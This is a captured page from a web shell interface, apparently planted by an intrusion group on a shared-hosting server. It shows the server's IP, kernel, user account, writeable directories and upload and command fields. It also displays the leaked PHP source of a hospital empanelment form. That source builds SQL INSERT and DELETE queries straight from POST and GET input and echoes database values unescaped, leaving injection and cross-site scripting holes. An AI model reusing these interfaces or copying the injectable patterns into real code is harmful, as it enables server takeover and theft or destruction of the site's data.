Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.138.35.193
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//empanelnew.php
<?php session_start();
require_once('../LoginManager.php');
require_once("../DBManager.php");
include 'header.php';
include 'menu.php';
include("opdtest2322.php");
?>

<?php
if(isset($_POST['submit'])) 

{  
    	$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
    $adminid=$harilal;
   $Nameofempanelled=$_POST['Nameofempanelled'];  
  $Identificationno=$_POST['Identificationno'];
    	$sql=mysqli_query($con,"insert into empanelled(adminid,Nameofempanelled,Identificationno) values('$adminid','$Nameofempanelled','$Identificationno')");
if($qsql = mysqli_query($sql))
		{
    //echo "<script>alert('Empanelment Added successfully');</script>";
   echo "<script>window.location='$_SERVER[PHP_SELF]'</script>";
  } else {
    echo "Empanelment Added Failed.";
  } 
    
}
?>

<?php
include("dbconnection.php");
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM empanelled WHERE empanelledid='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script>";
	}
}
?>
 <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />

   	<div class='center'>
<link rel="stylesheet" href="select2.min.css" />
<style>
.select2-dropdown {top: 22px !important; left: 8px !important;}
</style>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
<div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
          <th><strong>Name of empanelled body</strong></th> 
          <th><strong>Identification number</strong></th>
                <th><strong>Action </strong></th>
                       </tr>
                  </thead>
                 
<?php
	$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
		$sql ="SELECT * FROM empanelled WHERE adminid='$harilal'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>  
           <td>&nbsp;";
           if(is_numeric($rs[Nameofempanelled]))
{
    $sqlpatient1 = "SELECT * FROM tpa_insurance where id='$rs[Nameofempanelled]' ";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	if($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo"
           $rsn[Name]";
           }
           }
           echo"</td>
		   <td>&nbsp;$rs[Identificationno]</td>
		 <td><a href='empanelnew.php?delid=$rs[empanelledid]'>Delete</a></td>
          </tr>                   
          
          ";
}
?>          </tr>
                  </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table>
        <!DOCTYPE html>
<html>
<head>

<link rel="stylesheet" href="select2.min.css" />
<style>
.select2-dropdown {top: 22px !important; left: 8px !important;}
</style>
</head>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<body>

  
 

   <form method="post"  name="submit">
    <table width="532" border="3">
	<table id="example2" class="table table-bordered table-hover">  
      <tbody>
	   
                  <tr>
          <td>Name of empanelled body</td>
          <td>
               <select class='selectva' id="select12-state" name="Nameofempanelled" required>
        	<option value="">Name of empanelled body</option>
                        <?php
include("dbconnection.php");
	$sqlpatient1 = "SELECT * FROM tpa_insurance";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo "<option value='$rsn[id]'>$rsn[Name]</option>";
				}
	
		  ?>
</td>
</select>
              
             
          
        </tr>
             <tr>
          <td>Identification number</td>
          <td><input type="text" name="Identificationno" required Placeholder="Identification number"></td>
          
          
          
        </tr>
        
        
         </table>
         <table>
		        <tr>
          <td colspan="2" align="center"><button type="submit" name="submit" id="btn" class='btn btn-info'/>Add</button></td>
        </tr>
        <div class="clear"></div>
      </tbody>
    </table>
    </form>
    <p>&nbsp;</p>

  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<script>
document.getElementById('btn').addEventListener("click", function(){
    this.classList.add("loading");
    this.innerHTML = "Empanelment Added successfully...";
});
</script>
<?php
include("footer.php");
?><html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />

</head>
<body>
 
  <script>
 $(document).ready(function () {
      $('select12').selectize({
          sortField: 'text'
      });
  });
  </script>
</body>
</html>

Anon7 - 2022
AnonSec Team